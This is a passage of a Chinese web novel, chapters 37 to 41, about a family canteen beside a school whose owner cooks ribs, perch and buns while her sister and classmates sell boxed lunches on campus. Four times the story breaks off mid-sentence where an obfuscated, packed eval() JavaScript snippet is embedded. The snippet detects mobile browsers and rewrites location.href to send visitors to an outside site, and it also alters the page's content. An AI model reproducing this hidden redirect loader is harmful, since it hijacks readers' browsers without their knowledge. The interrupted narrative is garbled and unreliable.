压缩回弹，路瀑犯的手瘾止住了。“西西，这个包子好像我买的解压玩具。” 钟芜西瞥了眼，当即想起路瀑的屎黄色解压吐司。那个吐司简直是路瀑的阿贝贝，有空没空就在手里捏两下。 前天路瀑上英语课手犯贱，非要捏捏她的吐司。很不幸，一秒被英语老师抓到，没收了。 “不像，包子比你的吐司便宜，还能吃。”钟芜西拿一个包子就住手了。 包子体积很大，一个差不多占了餐盘的一半。 其他几个食量大的，克制地拿两个便收手。 吃完再说。 包子已经凉了不少，指腹温温热热。撕开两半，内里是深褐，无限接近于黑。 黏腻的汁液滴答流出，钟芜西心急，仰起头去接。 “嘶——好烫。”钟芜西吐出舌头，手飞快扇着散热。 顾头不顾尾，包子的汁顺着手指，啪嗒啪嗒落在餐盘，凝成一朵褐色的花。甜香肆无忌惮扩散，传到路瀑鼻子里。 “甜的？”路瀑拎起包子，嫌弃扔回盘子。“谁吃包子吃甜的。” 钟芜西懵懵抬头，舌尖的滚烫消失，留下一点甜，滋滋生津。 “是甜的。”她咂巴咂巴嘴，甜味被多余的口水带下去了，只有一点点梅干菜香。“挺好吃的，不甜。” “你喜欢？你帮我吃。” 路瀑喜滋滋把盘子推过去，钟芜西挡了一下。“吃不完，自己来。” 为了避免她耍小心思，钟芜西眼神示意头顶。 那条浪费罚十倍的标语不知什么时候变成了一百倍。 一个包子三百块，路瀑抢钱都不敢这么抢。 憋了一肚子气，路瀑狠狠咬上一大口，包子成了四分之三的弯月。 只要她吃得够快，甜味就追不上她的味蕾。 路瀑的算盘注定落空。 安珀包的包子馅料扎实，一口下去，梅干菜连糖汁带外层的皮全部有。 更别提路瀑是超级大口。 不用嚼，融化的糖汁率先发起进攻。包子的保温性能很好，糖汁的风味保存完整，微微含点焦糖感。 梅干菜被蒸气一烘，褪去干硬，偏软的口感中保留一丝嚼劲。 两者融合，像在吃某种草本小料，根本不齁嗓子。 西西说得没错，不甜。 作为一个天然不喜甜星人，路瀑反而爱上了小食堂的包子皮。 酵母充分发酵，外皮空气感十足，蓬松暄软，小麦自带的清甜足以激发味蕾的兴奋。 糖汁由内向外渗透，让包子皮的甜有了层次感。 莫名的，路瀑想起那块蘸猪肝碎辣椒油的馒头。 “老板，有没有辣椒油？”想到就去做，路瀑朝安珀大喊。 第二笼梅干菜糖包也蒸好了，安珀预备蒸第三笼。闻言，她脑子有一瞬间空白。 她家不卖辣椒油。 不过她马上反应过来，换个替代品说出去。“酸豆角要不要？” 光听名字，路瀑开始流口水了。“要，老板有泡的酸辣椒也给我。” 她妈泡的一坛子宝贝，里面什么都有。想来老板的私藏也不会差。 安珀真泡了酸辣椒。 酸辣椒和酸豆角分别捡上一大把，酸豆角用剪刀剪碎，每个桌上搁上一盘。 酸味幽幽的飘，路瀑口水分泌得更旺盛，差点流出来了。 酸豆角褪去青绿，蔫嗒嗒的，辣椒却是通体红亮，和新鲜的没区别。 筷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880803|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戳上去，辣椒噗叽吐出口汁。 路瀑小心翼翼撕掉包子的边，用它裹住辣椒。 溢出的酸汁瞬间浸湿包子皮，路瀑赶紧把它塞嘴里。都是好东西，可别漏了。 发酵后的酸充斥鼻腔，齿尖勾破辣椒，辣味顿时溢出。 泡了一遭的辣椒，呛人味减弱，辣味柔和，回味带酸。包子皮吸掉多余的味，整体更和谐了。 路瀑又尝了根酸豆角，嘎吱嘎吱，吃了一堆软软东西的牙齿终于找到了咀嚼的快乐。 而且路瀑发现了梅干菜糖包的最佳吃法。 酸椒辣味反上味蕾的时候，来上一口梅干菜馅，辣味立马消失。 简称梅干菜版永动机。 “好吃好吃。”路瀑吃得嘴巴脏兮兮的，极力向钟芜西推荐。“西西，你试试。梅干菜太适合解辣了。” “不了。”钟芜西咬上一口带馅的，眯眼享受单纯的甜。 她更喜欢分开吃，酸是酸、甜是甜，像路瀑一样混在一起她实在是接受不了。 隔壁三人组也发现了泡菜配包子的美味。 “撕下一块皮，豆角碎裹里面，就是豆角包子。” “梅干菜流出的汁好好吃，又甜又有梅干菜的香。” “我要再吃一个。加点辣椒，变辣味版豆角包子。” 后面的苏洋飞也觉得包子配泡菜不错，但他想的更多。 他选的位置靠近后门，学校栏杆敲敲打打的声音隐约传入耳。他视线范围可以窥见围墙一点一点砌上去，学校的风景被隔在墙后。 小食堂马上吃不上了，到时候他只能回学校食堂吃饭。 要是能买点泡菜回去，就着泡菜他能吃饱饭。再也不用捏着鼻子去食堂打猪食。 思绪一点一点在脑中划过，包子一口一口吃完了。 苏洋飞端起盘子加餐，脚它有自己的想法，不知不觉挪到后厨门口去了。 “你钱哪来的？” 后厨，安珀数着一沓一元，上下将安栗打量个遍。 孩子静悄悄，必定在作妖。 她家孩子不声不响给她作了两个，一个比一个大。 安栗递过来一页纸，上面写满了姓名和序号，一共37个。 【明天同学订餐，这是餐费。】 安珀不语，又把钱数了一遍。 148，金额对不上。 “你又多收了？” 呆毛支棱，安栗眼睛不偏不倚，理直气壮翻到下一页。 【代购费、配送费。我不收，杜济世也免费做白工？】 好有道理，安珀嘴唇噙动，半句反驳的话过不了嘴。 安栗嘴角咧开，牙齿乌漆嘛黑，酒窝溢出，不紧不慢掀开另一张。【姐，再给我多准备点，我拿去卖。】 安珀：…… 貌似她当老板是个错误的决定。 “知道了。到此为止，不准再涨价了。”安珀警告她。 目的达成，安栗乖乖点头。配上酒窝就是个十足的小甜豆。只有安珀知道皮子底下，是怎样一个混世大魔王。 “我可以送吗？” “我也不涨价。” 姐慈妹孝，氛围正好，突然插进一道公鸭嗓。 38. 第 38 章 姐俩双双一愣，循声看向门口。 苏洋飞紧攥餐盘，耳根通红，目光不闪不躲，直直望向安珀。 “我不是故意偷听你们说话。” 他只是想买点泡菜，没想到零星从里面传来些预定、涨价的话语。 联系后门建起来的墙，苏洋飞一下子明白安家小食堂要招外卖小哥了。 虽然午休的时间很少，但他送个几份顺便来吃个饭，精力也比吃食堂要好。 他眼里透露出恳切，安珀愣住。扫到他的袖口，安珀又记起这个人了。 拒绝的话到了嘴边又改了。“行，你到时候去安栗班里拿，午饭我包了。不过每份配送费只有一块。” 安珀提醒他。 不用跑店里已经是意外之喜，没想到还包饭。 苏洋飞脑袋晕晕乎乎，仿佛被天降大馅饼砸中，哪有不答应的道理。 “好。”他听见他声音清晰从胸腔发出。 至于钱，一块两块没差别。他中午又送不了多少，吃饱饭才是正经的。 解决完心头大事，苏洋飞高兴得又吃了两个包子，后门的哐哐当当已经影响不了他的心情。 作为安家小食堂第一位兼职员工，安珀让他多拿两个包子回去当夜宵。 次日 安珀在菜市场进了一批新鲜的鲈鱼，又挑了一筐紧实的包菜和油脂丰润的排骨。 安栗拉来的一批预定单倒是给了她新灵感。 别人把路堵死了，她完全可以再修一条。 安珀哼着不成调的曲子，处理食材。头时不时抬起，目光透过窗沿，视野却被厚实的围墙堵死，以前明明看的是树。 速度真快，一天就把围墙砌好了。 安珀冷哼，曲子越发走调。有本事把她家门口封了，不然生意她抢定了。 今天的餐要送到学校去，安珀稍稍改变了菜式，让盒饭符合打工人的需求。 排骨斩成半个指节长，在水里泡洗几遍，安珀准备把排骨下锅了。 刚杀出来的猪很新鲜，排骨还残留了猪的体温。焯水反而会破坏猪的鲜度，洗几遍刚刚好。 猪肉干净，鲜度也保留了。 起锅，烧油。 安珀在锅内薄薄淋上一圈油，排骨哐哐倒进去，用铲子一块块铺匀，让它均匀受热。 热气源源不断冒出，薄油成了催化剂，滋滋扒住排骨不放。 肉香飘出，猪油醇厚的油脂香紧随其后，倾斜的锅边成了最好的聚积器。 排骨煎出来的油，在边缘留下反光的痕迹，一滴一滴滑下，锅底聚了一大滩。 肉质收缩，肥膘焦黄，体积缩水不少。 排骨煎得差不多，安珀把它们捞出来，等待里头的油稍稍降温。 伸出手探探，掌心微微发烫。安珀抓上几把冰糖丢进去，就着余油熬冰糖。 小火翻滚，铁锅温度上升很快。冰糖融化，褪去透明底色，锅底积了一堆枣红色。 油糖分层，互不干扰，铲子探下去甚至能听到些沙沙声。 排骨又回了锅，黏腻的枣红一点一点裹上排骨，直至表面变成深褐色。 安珀又加了点酱油，排骨的颜色越发浓郁。 甜香混了肉香充斥后厨，铁锅给力，从排骨身上刮了一层油下来。锅底汤汤水水，黑乎乎浸了一片。 接点水，没过排骨，再往里投入几片整姜，倒上和冰糖等量的醋。静等排骨咕嘟咕嘟。 旁边还有两个灶闲着，安珀全部利用起来。 一个深锅接满水搁在灶上，蒸笼也补满水，等待上汽。 鲈鱼摊子上处理好了，安珀倒是不用再杀。不过她还是一条一条拎起来，将黏液冲干净，黑膜摘掉。 这玩意不清理干净，鱼会腥得很。 确认每一条鲈鱼达到她的卫生标准，安珀拿起大砍刀，哐哐把鲈鱼斩成巴掌大的块。 如果是家常做法，整条鲈鱼在鱼腹划上几刀，上汽十来分钟蒸熟就好了。 但做盒饭，一人一条未免太慷慨了。 安珀把鱼改小，一盒塞上几块，正好出餐。 砰砰砰—— 操作台剧烈震动，案板堆满鲈鱼块。刀轻轻往边上一刮，鲈鱼块落入泡好的葱姜水。 一边斩一边泡，蒸笼嗤嗤冒气了。 安珀从货架取出几个铁盘，在盘底铺满生姜，然后把泡好的鲈鱼块平铺上锅蒸。 洗菜池剩了一部分没泡够时间，安珀打算等堂食客人上门再蒸。 新鲜出炉，鱼香四溢，热气腾腾的才好吃。 解决掉第二个菜，深桶的水沸了。 透明的喷泉咕嘟咕嘟翻涌上来，安珀把蛋扔进去。 咕咚咕咚—— 鸡蛋猛地坠下，溅出不小的水花。在桶里悠悠地转了几圈后，鸡蛋半高不高的浮在桶里。 桶里的空间被鸡蛋极具挤压，喷泉的阵势被破坏，委屈巴巴托起鸡蛋沉下去，浮上来。 计时器拧开一点点，定时五分钟，再焖个三分钟。 闲着也是闲着，安珀将擦丝器架在不锈钢大盆，抓起包菜的一角怼在上面。 欻欻歘—— 脆绿的细丝落下，空气泛起生包菜的清甜。 空口吃也是极佳的美味。 顶头咕嘟咕嘟热气十足，底下歘歘。安珀的速度也不慢，不锈钢大盆填满一角，她手上沾满了包菜汁。 生生的味道。 计时器尖叫响起，安珀刚好擦完最后一个包菜。 她没急着掀锅盖，而是抱起包菜丝，在池子里淘洗几遍去掉上面的黏液，搁在一旁晾干。 包菜洗完，蛋也焖好了。 安珀捞出一个，对准操作台一砸。 咔嚓—— 鸡蛋一角凹陷，细小的缝隙遍布。安珀推着它滚进冰水。 从极热到极冷，蛋壳悄悄涨开，冰水顺着缝隙到达每个角落。 掀开一个角，膜衣将蛋壳连成一片。安珀轻而易举给蛋脱个壳。 蛋白光滑白净，□□弹弹。安珀把蛋掰成两半，瞧瞧蛋黄的状态。 完美！ 安珀挑挑眉。 入眼是一片渐变金黄，截面一圈一圈卷着年轮。由内向外，由深变浅。 蛋黄凝固得刚刚好，细看之下，有流沙的颗粒感。 蛋白冷了，蛋黄还腾腾冒出热气。纯正的鸡蛋味散发，安珀肚子咕噜咕噜打鼓。 她刚好没吃早饭，鸡蛋在前，安珀一口塞了。 蛋白滑嫩，被牙齿分割成一小块。蛋黄沙沙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882120|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，混合蛋白咽下去，竟然丝滑无比通过喉咙，一点没噎住，上颚也没粘成一片。 是个好蛋。 速度消灭完水煮蛋，安珀恢复了体力。 她抡起大漏勺，通通将蛋捞进水池。一时之间，后厨只有哗啦啦的水声和砰砰的砸蛋音。 一敲，一扯，蛋壳顺着上下坡度扯成一条，过程丝滑无比。 盆里堆高了白花花的脱壳蛋，安珀没把它们掰开，惊喜要留在吃饭的时候揭晓。 空出一个锅，安珀正好用来做包菜。 包菜抖掉多余的水分，又放回原来的不锈钢大盆。 辣椒粉遮掉包菜的脆绿，铺上一层蒜末提味，撒上增香的孜然粉。 此时包菜像个预备上烤架的小肥羊。 锅里油烧到滚烫，混点猪油增加香气。 白烟滚滚，上方锅边烧到通红，透明的长条在油里飘来飘去。 热度正好。安珀舀上一勺，对准表层堆叠的料浇。 刺啦刺啦—— 辣椒烫起小泡泡，蒜末收缩。孜然一下子被刺激出香气，借着热油，肆无忌惮从后厨的缝隙挤出去。 安珀吸了吸鼻子，烟熏缭绕，真有点烧烤小摊那味。 浇了一勺，安珀没再继续，反而把底下的料翻出来，对准又是一点，滋啦滋啦。 反复来个几次，调料熟了，锅里还剩下一半热油。火调最小，安珀就这样让它搁在上面。 不锈钢盆里浇上几圈醋，激出的辣味内敛，酸味占据上风。 三下两下，安珀把包菜抓均匀，调料裹满。 油泼包菜的气味变了。几种调料相互融合，酸气隐在辣味之下，孜然香依旧势不可挡。酱色汁液低调流过包菜丝，慢慢汇聚盆底，衬托包菜的青绿。 不锈钢盆放到一边，安珀关掉蒸笼的火，一边一个抹布端出蒸鱼块。 蒸气水凝结在底，随着安珀的走动，油光晃荡。 小心对准一个角，缓缓倒出蒸气水。哗啦哗啦，鱼腥味飘出，血凝成的灰白色杂质也跟着跑出去。 盆底干净后，安珀剃掉底下的生姜，上层铺满姜丝、红椒丝、葱丝。 一直保持温度的热油派上了用场，上下淋上两勺。 葱丝蔫哒，鱼皮收缩。诱人的葱香狂飘，除此之外，鼻腔再也容不下任何味道。 后做的几道菜后来居上，反而糖醋排骨一直在咕嘟。 安珀拿起铲子从锅底推出去，免得排骨沉底。 甜、酸，跟着铲子转圈圈。稀稀拉拉浅褐色的汤汁，肉眼可见的黏稠，更偏向炒冰糖的枣红色。 大火的效率不减，酱汁的水位线噌噌下降，铲子的阻力越来越大。直至后面随意抄底一次，上面堆满了排骨。 安珀知道，收汁完成。 依旧是老规矩，一半摆店里，一半留给安珀慢慢分装。 一坨紧实的白米饭，油泼包菜填在米饭一角，蒸鲈鱼块平铺在米饭上。糖醋排骨则另起一格，酱汁补满。滑嫩的水煮蛋塞在糖醋排骨上，枣红的酱汁隐隐约约侵入底部。 唰唰唰—— 一勺接一勺，安珀飞速把学校的分量准备好了。 几个袋子拎出去，堆在三轮车的后座。安珀大步一跨，骑着三轮去学校送餐了。 39. 第 39 章 小三轮突突突，带过一阵饭香。 到学校的时候，学生们还没下课。安珀庆幸来得早，转头却看见安栗躲在大门一角，嗞个大牙笑。 “你怎么在这？”安珀深吸口气。其实她更想问，这个点你怎么会在？ 【体育课。】 “你也是体育课？”安珀视线挪到一旁，朝小食堂的兼职员工发问。 “不是。”苏洋飞挠挠头。“物理测验，我提前做完交卷了。” 安珀懂了，几大兜子毫不客气砸向安栗。 安栗举起本子挡住，上面赫然是新的一行字。【我要的东西带了吗？】 安珀送外卖的动作暂停，反手掏出一副拐杖，扔给安栗。 “不准涨价。”安珀再警告一遍。“你们的餐我分开装了，别搞混了。” 说完，安珀骑着小三轮突突突地跑了。 她走后，安栗立马恢复了秉性。几大兜子的餐，安栗全扔给苏洋飞。随后她伸出一只手，杜济世立马扶住，将她架起来。 调整下角度，安栗把拐杖塞在腋窝下。然后眼神示意杜济世翻开本子，上面有她准备好的话。 【餐放轮椅上，我们去操场卖。】 【4元/份，不准涨价，不准降价。】 【好了，走。】 苏洋飞依言把餐塞在轮椅里。起身时，余光不可避免扫到安栗的轮椅，他小心翼翼道：“要不你抱着餐坐。或者我提过去也行。” 安栗哼一声，头顶的呆毛高傲地俯视他。 下一秒，拐杖甩向前找到一个支点，安栗借着那个力，双手一撑，身体瞬间飞出去。 两人一下相差十几米。 更可怕的是，安栗根本不用休息。一个点接一个点，像荡秋千，直接把自己甩远了。 几个呼吸间，安栗已经接近操场边缘。 “我…她……”苏洋飞瞪大眼，嘴唇张了又合，硬是没吐出一句完整的话。 “安栗能用拐杖。”杜济世提醒他。“要我帮你推吗？” 餐盒将轮椅塞得满满当当，上面甚至突出一大截。 瞥过苏洋飞只有她一半的体型，以及他的头顶。杜济世整个身子挤过去，把住轮椅。 “我来。” 他的小身板应该推不动。 杜济世推起轮椅，稍稍适应了上面的重量后，撒开脚丫子狂奔。 咚咚咚—— 地仿佛在震动，他的心也在咚咚咚。 苏洋飞闭了闭眼，第一次觉得自己是个废物。 * 安栗甩着拐杖飞到了大树阴凉底，杜济世没一会也到了这。 停好轮椅，杜济世完全没休息，拿着安栗登记的预定单找人去了。 等苏洋飞呼哧呼哧赶过来，树下只有安栗靠着，有一搭没一搭扯着树叶玩。 “杜济世呢？” 苏洋飞左右张望，安栗一个本子甩到他眼珠子。 【你去教学楼，堵住楼梯口，操场我来。】 安栗分了一半餐给他，挥挥手让他走了。 苏洋飞推着轮椅朝高三教学楼的方向走，把手上残留了点余温，将他的脑子烧得一塌糊涂。 他不明白，当初应聘的不是外卖小哥吗？怎么成销售了！ 没等苏洋飞搞清楚，下课铃准时响起，吃饭大军呼啦啦冲下来。 人群乌压压的一片，苏洋飞嘴比脑子更快。 “安家小食堂盒饭，4元一份，先到先得。” 人群有一瞬间的停滞，而后是铺天盖地的嘲讽。 “人家店里卖三块，你卖四块，当我傻。” “你这分量比店里自助少，我走几步能吃更多，犯得着在你这买。” “你说盒饭是小食堂的就是小食堂的？我还说老板是我姐呢！” …… 苏洋飞内心没有一点波澜。毕竟经过前两次赤裸裸的嘲讽，他很难为这些不痛不痒的话生气。 “老钱已经找人把那边的栏杆封了。想吃安家小食堂的饭，要么在我这里买，要么走上十几分钟去店里吃。” 苏洋飞语气平静，尽到提醒义务。 人群开始骚动。 “真的？没饭吃了？” “老钱真把墙封了？” “你个骗子，专门编话来卖饭。等着我马上揭穿你。” …… 苏洋飞侧开一步，把道让出来。 他这么果断，人群反而安静下来，无数双眼睛就这么盯着他。 无人踏出第一步。 “我要一份。”后面响起一道女声，打破僵局。 苏洋飞拆开袋子，拿出一份餐。没说价格，那女的先把四块拍到他怀里，遮住脸匆匆跑了。 如果安珀在这里，一定能认出跑得七零八落的是婷婷。 “我们要三份。”一个大单。 苏洋飞循声一看，是昨天去店里吃饭三个人。 三人费力从楼梯口挤下来，伸手掏出三盒，钱扔给苏洋飞，又挤上了楼。 一共三大兜子餐，四个人刨去一个角。 再不抢，真的没了。 “我要一份。” “我们来五盒。” “这里这里，给我送三份。” 平衡瞬间被打破，数十双手用上来，盒饭一抢而空。 温暖的盒饭变成了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882121|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兜子鼓鼓囊囊的钱。 另一边，安栗的盒饭也兜售得很快。班上原本就有一大半的预定单，剩下的她在操场走走，没个几分钟就卖出去了。 “去哪吃？”杜济世拿着三人的特餐问。 【先找苏洋飞，我安排他去教学楼了。】 两人立马动身，直奔高三教学楼。 安栗依旧拄拐在前面荡，杜济世慢慢坠在后面。 高三教学楼和操场有一定距离，甩个几分钟，安栗的腿受不了了，隐隐有些痛。 【你去找苏洋飞，记得把轮椅带回来。我们去那边吃饭。】 安栗拐指着不远处的小亭子。 杜济世点头，咚咚咚冲向高三教学楼。安栗则甩三下停两下，慢悠悠靠近亭子。 “唔，好吃。糖醋排骨好好次。酸甜平衡，肉质软烂，边边也炸得好酥脆。” “老板真有品。糖醋排骨就应该选肋排。嘴巴过一圈就能脱骨。” “老板真大方，放了这么多排骨。要是能去店里吃就好了。我要吃排骨自助。” “哇，水煮蛋好好看。老板为什么不把蛋放排骨里面炖？这样我就能吃到糖醋味的鸡蛋了。” “蛋放酱汁里浸一会，味道应该一样。嘿嘿，我真是个天才！” 女声吐字不清，话却很多。 字眼密集到安栗都想换个地方坐。可是不行，她得等杜济世她们过来吃饭。 “忒忒忒——” 女生频繁开始吐排骨，安栗好奇望过去。视野受限，她只能看到女生的背影。 她的腮帮子随意动动，一根排骨被剔除肉完整的吐出来。 厉害啊！ 一根接一根的排骨吐出，桌子上堆起小山包。 吐骨头的声音一直在安栗耳边回荡，她莫名觉得好像在哪听过。 她轻轻把自己甩近一点。 女生的身形更加清楚，声音也更清晰。 灵光一闪，一个人影出现在脑海，安栗头顶的呆毛激动地弹了弹。 她伸出本子戳戳。 女生正吃得开心，忽然后背传来一股力，戳个没完。 她垮脸瞪过去，破口大骂。“神经病，没看到我在吃饭？戳个鬼啊！” 背后的人被骂，也不出声，笑眯眯看着她，本子缓缓下降到她视野中央。 【好吃吗？婷婷。】 婷婷瞳孔扩大，手唰地挡住脸。没几秒，她觉得不对，唰地遮住餐盒。 顾头不顾腚，总有一项证据露出来。 到最后，婷婷干脆摆烂。她艰难地咽下排骨肉，起身抬起下巴看安栗。 “我需要向你报备好不好吃？” 40. 第 40 章 哼，想笑就笑，又不是没被笑过。 如她所愿，安栗张大嘴嘎嘎几声，低头在本子上写写画画。 双手抱臂，婷婷高高昂起下巴，实则眼睛斜成一条线，目光快沾到安栗本子上。 【订餐吗？算你一号。第一个哦！】 纸上划了一横杠，明晃晃出现在婷婷眼前。 咕咚—— 婷婷清楚听到自己口水下咽的声音。 糖醋排骨的酸甜香飘入鼻尖，婷婷轻咳声，两指捏住纸张边缘，拎到口袋。 “看在糖醋排骨的面上，勉为其难给你捧个场。哼，你家，也就糖醋排骨好吃点。” 捏起一块排骨塞嘴里，盖子囫囵搭在餐盒，婷婷抱住饭盒跑了。 嘎嘎嘎—— 笑声肆无忌惮传出去，安栗捂住肚子笑得正欢。 跨过灌木丛，杜济世奇怪瞄了眼跌跌撞撞的婷婷，又看了看笑到张狂的安栗。 “她怎么吃了店里的盒饭？” 【恭喜糖醋排骨成功打入敌人内部！】 安栗一句话道明原因，还形象地在空白位置画了几朵烟花。杜济世恍然，婷婷貌似是糖醋排骨的狂热粉。 这样一想，偷偷摸摸买份盒饭是婷婷能做出来的事。 “苏洋飞回教室吃饭了。配送费我们仨平分，我把40先给他了。”轮椅推到跟前，钱递给安栗，杜济世顺便解释下为什么钱数少了。 钱随便塞进轮椅夹层，安栗一屁股跌坐在轮椅上，单手豪气朝前指。 gogogo，回教室吃饭咯！ 安栗和杜济世冲在回教室的路上。另一边，同样有个人在操场脚步匆匆。 “路瀑？” 女孩闷着头钻进树荫底赶路，忽然听到有人叫她，抬头四处张望。 一张咧着大牙的脸突然蹿到眼前，路瀑噔噔噔后退几步，惊魂未定摸摸胸口。 “钟芜西——”路瀑瞪她一眼，胳膊伸过去钳制她脖子。 钟芜西习惯性举手求饶，一手安家小食堂盒饭，一手白米饭挡了挡。 大热天的，热度不停舔舐胳膊内侧，激起路瀑嘴周一圈的汗珠，她不适松开手。 “你吃好多。”路瀑摸摸胳膊，瞧着另一小盒塞得满满的白米饭，感叹道。 “可别。”两个盒饭堆在一起，钟芜西换个姿势抱饭，拒绝戴上饭桶的帽子。“思漾没抢到小食堂的盒饭，我打点饭和她一起吃。” “啧，张扒皮真是越来越过份了。这么点饭，他收了我5块。还是老板大气，一份盒饭我们两个女生吃都有多。” 学校食堂的饭搁在小食堂的餐盒上，简直是个mini版赠品。路瀑手盖在上面比了比，饭盒堪堪填满她的手掌。 “嚯，张扒皮真大方。明明可以去抢，偏偏要给你一盒饭。”半真半假讽刺，路瀑并排走在钟芜西边上。 “我不去食堂吃饭了。”路瀑大吼声。“张扒皮的饭配不上我的钱。” 声音震得耳朵嗡嗡的，钟芜西甩了甩头。“你还没吃饭？家里的饭不好吃，跑来受食堂的苦了。” “想多了。”路瀑白她一眼，抢过小食堂的盒饭，掀开盖子瞧瞧。“外公昨天半夜摔了，我妈连夜赶去了医院。” “你妈没和你说，让你白跑一趟。”钟芜西搭话。 “说了但我忘了，开家门的时候才想起来。”路瀑摇摇头，喉咙突然爆发一声尖叫。“我的天，西西你中午吃这么好。” 钟芜西波澜不惊，小食堂的菜就没差过。 “加我一个，加我一个。西西我也要蹭你的饭吃。”路瀑紧紧把盒饭抱在怀里，一副不答应大家都别吃的样子。 “我出食堂饭钱。”路瀑下血本。 钟芜西神色不变，“三个人吃，够？” 路瀑不知道，路瀑定定看着她，声音可怜巴巴。“西西你变了，你不爱我了。你宁愿和思漾一起吃也不愿意分我一点。明明我吃一点点就饱了。” 路瀑肚子应景咕噜咕噜叫了两声。 “吃吃吃，一起吃。”钟芜西被她烦到不行，忙不迭答应了。她有预感，要是再不松口，负心汉这顶帽子绝对会扣在她头上。 大不了少吃点，让她看路瀑饿肚子她也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907336|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忍心。 策略成功，路瀑安静了一路，直到踏进教室。 “快快快，思漾来吃饭，冷了菜要变味。”风风火火收掉桌上的书，路瀑把小食堂的盒饭搁在正中央。 路瀑在盖子上扒了点饭，等剩下两个人过来开吃。 两个人搬过椅子围拢在桌边，思漾见到路瀑的架势，惊讶了一瞬，很快被中间的盒饭吸引了注意力。 “哇——”三个人不约而同发出惊呼。 桌中央的盒饭塞得满满当当，菜与菜之间泾渭分明。糖醋排骨填满大格，枣红色的酱汁溜边。松散的油泼包菜丝衬底，鲈鱼块平铺表层。 唯一遗憾的是，水煮蛋一份只有一个。 没事，蛋给西西和思漾分。她早上吃吐了。 毫不夸张，盖子掀开一瞬间，路瀑仿佛穿越到国外五星酒店打自助剩菜盲盒的现场。 这钱，回本了！ 路瀑快速夹了块鲈鱼，其余两人也分别弄了自己喜欢的菜进碗。 鲈鱼表皮收缩，点缀的葱姜丝和红椒丝沾在顶上。褐色的酱汁顺着鱼肉不平整的沟壑浸润，微微反射出油光。 筷子轻轻使力下压，鱼肉咔哒裂出一块肉。 路瀑送进嘴里抿抿，绵密的鱼肉碎了。酱汁的回味争先恐后从鱼肉细胞透出来，鱼鲜恰到好处融在一起。葱香垫底，味蕾隐隐约约尝到一丝甜味。 原汁原味的鱼味充斥口腔，鲜味最大限度锁在肉里。 路瀑被香到不行。 她小心翼翼又是一大口。 鲈鱼块一下子去掉一半，路瀑反复抿抿，舌苔始终没舔到硬物。 路瀑举起鲈鱼块对光瞧瞧。 嘿，没刺。 她彻底放下心。嗷呜一口把剩下的一口送进嘴里团聚。 鱼肉软嫩，鱼皮弹牙，葱丝提香，姜丝供辣。舌苔上，鱼肉的鲜更明显了。 路瀑就着这口鲜送了一大口饭。 吃完鱼，筷子在鲈鱼块和包菜丝之间停了会。路瀑一咬牙，选了包菜丝。 她们两个还没吃，鲈鱼块要留给她们尝一口。 41. 第 41 章 包菜丝细碎，凉拌汁轻而易举吸附在上面。嚼一口，干椒香迸发，包菜汁的脆甜紧随其后。咔嚓咔嚓，路瀑仿佛在吃她妈的那些宝贝泡菜。 包菜丝多余的汁也没浪费，油润反光的米饭全数吸收。湿润的辣椒碎散在表层，蒜粒穿插其中点缀。路瀑挑起米饭一口闷，猪油醇厚的香占领味蕾，料汁自带的底酸夹在米饭里，给了味蕾双重刺激，口水拼命泛滥。 路瀑趁机夹块排骨一起进嘴。 甜味占据上风，微酸。排骨炖得软烂，路瀑嘴唇上下一抿，肉松松垮垮从骨头脱下。 嘎吱嘎吱—— 一丝一丝的肉纤维在齿间反复锤炼，路瀑满嘴都是浓郁的猪肉香。 几双筷子接连穿插，菜的水平线以肉眼可见的程度下降。路瀑一只眼管着碗里的，另一只眼时时刻刻瞥着盒饭。 嘴里的饭刚咽下，下一秒筷子准时出现在菜里。主打一个无缝衔接。 “嗝，好饱。”钟芜西抹掉嘴边的油渍，摸摸鼓胀的肚子。 “老板做的菜好好吃。包菜丝酸辣开胃，包菜是生的。那股蔬菜的清甜完完整整保留下来。比我在西餐厅吃的沙拉味道好多了。嗝嗝嗝，我吃不下了。路瀑，水煮蛋你吃了吧。” 思漾接连打了几个嗝，视线费力地从水煮蛋上挪开。 